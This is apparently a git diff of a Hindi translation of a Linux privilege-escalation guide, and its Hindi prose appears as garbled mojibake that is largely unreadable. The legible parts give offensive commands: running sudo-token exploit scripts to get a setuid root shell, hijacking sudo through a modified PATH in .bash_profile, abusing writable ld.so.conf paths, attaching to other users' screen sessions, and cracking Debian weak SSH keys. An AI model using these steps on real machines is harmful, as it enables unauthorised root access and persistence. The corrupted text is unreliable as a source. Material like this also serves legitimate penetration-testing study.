рд╣рдореЗрдВ рдмрд┐рдирд╛ рдХрд┐рд╕реА рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ `sudo` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ) +- "_sampleuser_" рдиреЗ **рдЕрдВрддрд┐рдо 15 рдорд┐рдирдЯ рдореЗрдВ рдХреБрдЫ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `sudo` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рд╣реИ** (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдпрд╣ рд╡рд╣ рдЕрд╡рдзрд┐ рд╣реИ рдЬрдм sudo рдЯреЛрдХрди рд╣рдореЗрдВ рдмрд┐рдирд╛ рдХрд┐рд╕реА рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ `sudo` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ) - `cat /proc/sys/kernel/yama/ptrace_scope` 0 рд╣реИ - `gdb` рд╕реБрд▓рдн рд╣реИ (рдЖрдк рдЗрд╕реЗ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ) @@ -928,13 +928,13 @@ https://gtfoargs.github.io/ рдпрджрд┐ рдпреЗ рд╕рднреА рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ рдкреВрд░реА рд╣реЛрддреА рд╣реИрдВ, рддреЛ **рдЖрдк рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВ:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- **рдкрд╣рд▓рд╛ рд╢реЛрд╖рдг** (`exploit.sh`) _/tmp_ рдореЗрдВ рдмрд╛рдЗрдирд░реА `activate_sudo_token` рдмрдирд╛рдПрдЧрд╛ред рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдкрдиреЗ рд╕рддреНрд░ рдореЗрдВ **sudo рдЯреЛрдХрди рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЖрдкрдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдПрдХ рд░реВрдЯ рд╢реЗрд▓ рдирд╣реАрдВ рдорд┐рд▓реЗрдЧрд╛, `sudo su` рдХрд░реЗрдВ): +- **рдкрд╣рд▓рд╛ рд╢реЛрд╖рдг** (`exploit.sh`) _/tmp_ рдореЗрдВ рдмрд╛рдЗрдирд░реА `activate_sudo_token` рдмрдирд╛рдПрдЧрд╛ред рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ **рдЕрдкрдиреЗ рд╕рддреНрд░ рдореЗрдВ sudo рдЯреЛрдХрди рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЖрдкрдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдПрдХ рд░реВрдЯ рд╢реЗрд▓ рдирд╣реАрдВ рдорд┐рд▓реЗрдЧрд╛, `sudo su` рдХрд░реЗрдВ): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **рджреВрд╕рд░рд╛ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ** (`exploit_v2.sh`) _/tmp_ рдореЗрдВ **рд░реВрдЯ рджреНрд╡рд╛рд░рд╛ рд╕реЗрдЯрдпреВрдЖрдИрдбреА рдХреЗ рд╕рд╛рде рдПрдХ рд╢ рд╢реЗрд▓ рдмрдирд╛рдПрдЧрд╛** +- рджреВрд╕рд░рд╛ **рд╢реЛрд╖рдг** (`exploit_v2.sh`) _/tmp_ рдореЗрдВ **рд░реВрдЯ рджреНрд╡рд╛рд░рд╛ рд╕реЗрдЯрдпреВрдЖрдИрдбреА рдХреЗ рд╕рд╛рде рдПрдХ рд╢ рд╢реЗрд▓ рдмрдирд╛рдПрдЧрд╛** ```bash bash exploit_v2.sh /tmp/sh -p @@ -979,7 +979,7 @@ permit nopass demo as root cmd vim ``` ### Sudo Hijacking -рдпрджрд┐ рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдПрдХ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЖрдорддреМрд░ рдкрд░ рдПрдХ рдорд╢реАрди рд╕реЗ рдХрдиреЗрдХреНрдЯ рд╣реЛрддрд╛ рд╣реИ рдФрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП `sudo` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ** рдФрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рдВрджрд░реНрдн рдореЗрдВ рдПрдХ рд╢реЗрд▓ рд╣реИ, рддреЛ рдЖрдк **рдПрдХ рдирдпрд╛ sudo рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ** рдЬреЛ рдЖрдкрдХреЗ рдХреЛрдб рдХреЛ рд░реВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдФрд░ рдлрд┐рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ред рдлрд┐рд░, **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рдВрджрд░реНрдн рдХрд╛ $PATH рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ** (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП .bash_profile рдореЗрдВ рдирдпрд╛ рдкрде рдЬреЛрдбрд╝рдХрд░) рддрд╛рдХрд┐ рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ sudo рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗ, рддреЛ рдЖрдкрдХрд╛ sudo рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛред +рдпрджрд┐ рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдПрдХ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЖрдорддреМрд░ рдкрд░ рдПрдХ рдорд╢реАрди рд╕реЗ рдХрдиреЗрдХреНрдЯ рд╣реЛрддрд╛ рд╣реИ рдФрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП `sudo` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ** рдФрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рдВрджрд░реНрдн рдореЗрдВ рдПрдХ рд╢реЗрд▓ рд╣реИ, рддреЛ рдЖрдк **рдПрдХ рдирдпрд╛ sudo рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ** рдЬреЛ рдЖрдкрдХреЗ рдХреЛрдб рдХреЛ рд░реВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдФрд░ рдлрд┐рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ред рдлрд┐рд░, **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рдВрджрд░реНрдн рдХрд╛ $PATH рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ** (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП .bash_profile рдореЗрдВ рдирдП рдкрде рдХреЛ рдЬреЛрдбрд╝рдХрд░) рддрд╛рдХрд┐ рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ sudo рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗ, рддреЛ рдЖрдкрдХрд╛ sudo рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдХ рдЕрд▓рдЧ рд╢реЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ (bash рдирд╣реАрдВ) рддреЛ рдЖрдкрдХреЛ рдирдП рдкрде рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддрд╛ рд╣реИред рдЖрдк [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) рдореЗрдВ рдПрдХ рдФрд░ рдЙрджрд╛рд╣рд░рдг рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред @@ -1007,7 +1007,7 @@ sudo ls рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ `/etc/ld.so.conf.d/*.conf` рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓реЗрдВ рдкрдврд╝реА рдЬрд╛рдПрдБрдЧреАред рдпреЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓реЗрдВ **рдЕрдиреНрдп рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддреА рд╣реИрдВ** рдЬрд╣рд╛рдБ **рд▓рд╛рдЗрдмреНрд░реЗрд░реА** **рдЦреЛрдЬреА** рдЬрд╛рдПрдБрдЧреАред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, `/etc/ld.so.conf.d/libc.conf` рдХреА рд╕рд╛рдордЧреНрд░реА рд╣реИ `/usr/local/lib`ред **рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рд╕рд┐рд╕реНрдЯрдо `/usr/local/lib` рдХреЗ рдЕрдВрджрд░ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдЦреЛрдЬреЗрдЧрд╛**ред рдпрджрд┐ рдХрд┐рд╕реА рдХрд╛рд░рдгрд╡рд╢ **рдХрд┐рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ** рдХрд┐рд╕реА рднреА рдкрде рдкрд░ рдЬреЛ рд╕рдВрдХреЗрддрд┐рдд рд╣реИрдВ: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` рдХреЗ рдЕрдВрджрд░ рдХреЛрдИ рднреА рдлрд╝рд╛рдЗрд▓ рдпрд╛ `/etc/ld.so.conf.d/*.conf` рдХреЗ рдЕрдВрджрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рдХреЗ рднреАрддрд░ рдХреЛрдИ рднреА рдлрд╝реЛрд▓реНрдбрд░, рддреЛ рд╡рд╣ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддрд╛ рд╣реИред\ -рдЗрд╕ рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛ **рд╢реЛрд╖рдг рдХреИрд╕реЗ рдХрд░реЗрдВ** рдЗрд╕ рдкреГрд╖реНрда рдкрд░ рджреЗрдЦреЗрдВ: +рдЗрд╕ **рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рддрд░реАрдХреЗ** рдкрд░ рдирдЬрд╝рд░ рдбрд╛рд▓реЗрдВ: {{#ref}} ld.so.conf-example.md @@ -1057,8 +1057,8 @@ linux-capabilities.md ## рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдЕрдиреБрдорддрд┐рдпрд╛рдБ -рдПрдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ, **"рдХрд╛рд░реНрдпрдХреНрд░рдо"** рдХреЗ рд▓рд┐рдП рдмрд┐рдЯ рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдкреНрд░рднрд╛рд╡рд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ "**cd**" рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред\ -**"рдкрдврд╝рдиреЗ"** рдХрд╛ рдмрд┐рдЯ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ **рдлрд╛рдЗрд▓реЛрдВ** рдХреА **рд╕реВрдЪреА** рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ **"рд▓рд┐рдЦрдиреЗ"** рдХрд╛ рдмрд┐рдЯ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ **рдлрд╛рдЗрд▓реЛрдВ** рдХреЛ **рд╣рдЯрд╛** рдФрд░ **рдирдпрд╛** **рдлрд╛рдЗрд▓** **рдмрдирд╛** рд╕рдХрддрд╛ рд╣реИред +рдПрдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ, **"рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди" рдХреЗ рд▓рд┐рдП рдмрд┐рдЯ** рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдкреНрд░рднрд╛рд╡рд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ **рдлреЛрд▓реНрдбрд░ рдореЗрдВ "cd"** рдХрд░ рд╕рдХрддрд╛ рд╣реИред\ +**"рдкрдврд╝рдиреЗ"** рдХрд╛ рдмрд┐рдЯ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ **рдлрд╛рдЗрд▓реЛрдВ рдХреА рд╕реВрдЪреА** рджреЗрдЦ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ **"рд▓рд┐рдЦрдиреЗ"** рдХрд╛ рдмрд┐рдЯ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ **рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рд╣рдЯрд╛** рдФрд░ **рдирдИ рдлрд╛рдЗрд▓реЗрдВ рдмрдирд╛** рд╕рдХрддрд╛ рд╣реИред ## ACLs @@ -1077,8 +1077,8 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Open shell sessions -In **рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ** рдЖрдк **рд╣рд╛рдЗрдЬреИрдХ** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХреБрдЫ **рд╢реЗрд▓** рд╕рддреНрд░ рдПрдХ рдЕрд▓рдЧ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ (**рд░реВрдЯ**) рдХреЗред\ -In **рдирд╡реАрдирддрдо рд╕рдВрд╕реНрдХрд░рдгреЛрдВ** рдЖрдк рдХреЗрд╡рд▓ **рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдХреЗ рд╕реНрдХреНрд░реАрди рд╕рддреНрд░реЛрдВ рд╕реЗ **рдЬреБрдбрд╝рдиреЗ** рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЖрдк **рд╕рддреНрд░ рдХреЗ рдЕрдВрджрд░ рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред +In **рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ** рдЖрдк **рд╣рд╛рдЗрдЬреИрдХ** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХреБрдЫ **рд╢реЗрд▓** рд╕рддреНрд░ рдХрд╛ рдПрдХ рдЕрд▓рдЧ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ (**рд░реВрдЯ**).\ +In **рдирд╡реАрдирддрдо рд╕рдВрд╕реНрдХрд░рдгреЛрдВ** рдЖрдк рдХреЗрд╡рд▓ **рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдХреЗ рд╕реНрдХреНрд░реАрди рд╕рддреНрд░реЛрдВ рд╕реЗ **рдХрдиреЗрдХреНрдЯ** рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЖрдк **рд╕рддреНрд░ рдХреЗ рдЕрдВрджрд░ рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред ### screen sessions hijacking @@ -1089,7 +1089,7 @@ screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**рд╕рддреНрд░ рд╕реЗ рд╕рдВрд▓рдЧреНрди рдХрд░реЗрдВ** +**рд╕рддреНрд░ рд╕реЗ рдЬреБрдбрд╝реЗрдВ** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image @@ -1123,8 +1123,8 @@ Check **Valentine box from HTB** for an example. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Debian рдЖрдзрд╛рд░рд┐рдд рд╕рд┐рд╕реНрдЯрдо (Ubuntu, Kubuntu, рдЖрджрд┐) рдкрд░ рд╕рд┐рддрдВрдмрд░ 2006 рдФрд░ 13 рдордИ 2008 рдХреЗ рдмреАрдЪ рдЙрддреНрдкрдиреНрди рд╕рднреА SSL рдФрд░ SSH рдХреБрдВрдЬреА рдЗрд╕ рдмрдЧ рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рд╣реЛ рд╕рдХрддреА рд╣реИрдВред\ -рдпрд╣ рдмрдЧ рдЙрди OS рдореЗрдВ рдПрдХ рдирдИ ssh рдХреБрдВрдЬреА рдмрдирд╛рдиреЗ рдХреЗ рджреМрд░рд╛рди рд╣реЛрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ **рдХреЗрд╡рд▓ 32,768 рднрд┐рдиреНрдирддрд╛рдПрдБ рд╕рдВрднрд╡ рдереАрдВ**ред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рд╕рднреА рд╕рдВрднрд╛рд╡рдирд╛рдПрдБ рдЧрдгрдирд╛ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ рдФрд░ **ssh рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рд╣реЛрдиреЗ рдкрд░ рдЖрдк рд╕рдВрдмрдВрдзрд┐рдд рдирд┐рдЬреА рдХреБрдВрдЬреА рдХреЗ рд▓рд┐рдП рдЦреЛрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**ред рдЖрдк рдпрд╣рд╛рдВ рдЧрдгрдирд╛ рдХреА рдЧрдИ рд╕рдВрднрд╛рд╡рдирд╛рдПрдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +рд╕рднреА SSL рдФрд░ SSH рдХреБрдВрдЬреА рдЬреЛ Debian рдЖрдзрд╛рд░рд┐рдд рд╕рд┐рд╕реНрдЯрдо (Ubuntu, Kubuntu, рдЖрджрд┐) рдкрд░ рд╕рд┐рддрдВрдмрд░ 2006 рдФрд░ 13 рдордИ 2008 рдХреЗ рдмреАрдЪ рдЙрддреНрдкрдиреНрди рдХреА рдЧрдИ рдереАрдВ, рдЗрд╕ рдмрдЧ рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рд╣реЛ рд╕рдХрддреА рд╣реИрдВред\ +рдпрд╣ рдмрдЧ рдЙрди OS рдореЗрдВ рдПрдХ рдирдИ ssh рдХреБрдВрдЬреА рдмрдирд╛рдиреЗ рдХреЗ рджреМрд░рд╛рди рд╣реЛрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ **рдХреЗрд╡рд▓ 32,768 рднрд┐рдиреНрдирддрд╛рдПрдБ рд╕рдВрднрд╡ рдереАрдВ**ред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рд╕рднреА рд╕рдВрднрд╛рд╡рдирд╛рдПрдБ рдЧрдгрдирд╛ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ рдФрд░ **ssh рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рд╣реЛрдиреЗ рдкрд░ рдЖрдк рд╕рдВрдмрдВрдзрд┐рдд рдирд┐рдЬреА рдХреБрдВрдЬреА рдХреЗ рд▓рд┐рдП рдЦреЛрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**ред рдЖрдк рдпрд╣рд╛рдБ рдЧрдгрдирд╛ рдХреА рдЧрдИ рд╕рдВрднрд╛рд╡рдирд╛рдПрдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values @@ -1138,27 +1138,27 @@ Debian рдЖрдзрд╛рд░рд┐рдд рд╕рд┐рд╕реНрдЯрдо (Ubuntu, Kubuntu, рдЖрджрд┐) рдкрд░ - `yes`: рд░реВрдЯ рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ рдирд┐рдЬреА рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓реЙрдЧрд┐рди рдХрд░ рд╕рдХрддрд╛ рд╣реИ - `without-password` рдпрд╛ `prohibit-password`: рд░реВрдЯ рдХреЗрд╡рд▓ рдирд┐рдЬреА рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде рд▓реЙрдЧрд┐рди рдХрд░ рд╕рдХрддрд╛ рд╣реИ -- `forced-commands-only`: рд░реВрдЯ рдХреЗрд╡рд▓ рдирд┐рдЬреА рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдФрд░ рдпрджрд┐ рдХрдорд╛рдВрдб рд╡рд┐рдХрд▓реНрдк рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдП рдЧрдП рд╣реИрдВ рддреЛ рд▓реЙрдЧрд┐рди рдХрд░ рд╕рдХрддрд╛ рд╣реИ +- `forced-commands-only`: рд░реВрдЯ рдХреЗрд╡рд▓ рдирд┐рдЬреА рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдФрд░ рдпрджрд┐ рдХрдорд╛рдВрдб рд╡рд┐рдХрд▓реНрдк рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдП рдЧрдП рд╣реИрдВ, рд▓реЙрдЧрд┐рди рдХрд░ рд╕рдХрддрд╛ рд╣реИ - `no` : рдирд╣реАрдВ ### AuthorizedKeysFile -рдпрд╣ рдЙрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддреА рд╣реИрдВ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред рдЗрд╕рдореЗрдВ `%h` рдЬреИрд╕реЗ рдЯреЛрдХрди рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕реЗ рд╣реЛрдо рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рджреНрд╡рд╛рд░рд╛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред **рдЖрдк рдкреВрд░реНрдг рдкрде рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** (рдЬреЛ `/` рд╕реЗ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ) рдпрд╛ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╣реЛрдо рд╕реЗ рд╕рд╛рдкреЗрдХреНрд╖ рдкрде**ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: +рдпрд╣ рдЙрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддреА рд╣реИрдВ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред рдЗрд╕рдореЗрдВ `%h` рдЬреИрд╕реЗ рдЯреЛрдХрди рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕реЗ рд╣реЛрдо рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рджреНрд╡рд╛рд░рд╛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред **рдЖрдк рдкреВрд░реНрдг рдкрде рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** (рдЬреЛ `/` рд╕реЗ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ) рдпрд╛ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╣реЛрдо рд╕реЗ рд╕рд╛рдкреЗрдХреНрд╖ рдкрде**ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -рдпрд╣ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдпрд╣ рд╕рдВрдХреЗрдд рджреЗрдЧрд╛ рдХрд┐ рдпрджрд┐ рдЖрдк рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ "**testusername**" рдХреА **private** рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ ssh рдЖрдкрдХреА рдХреБрдВрдЬреА рдХреА рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ 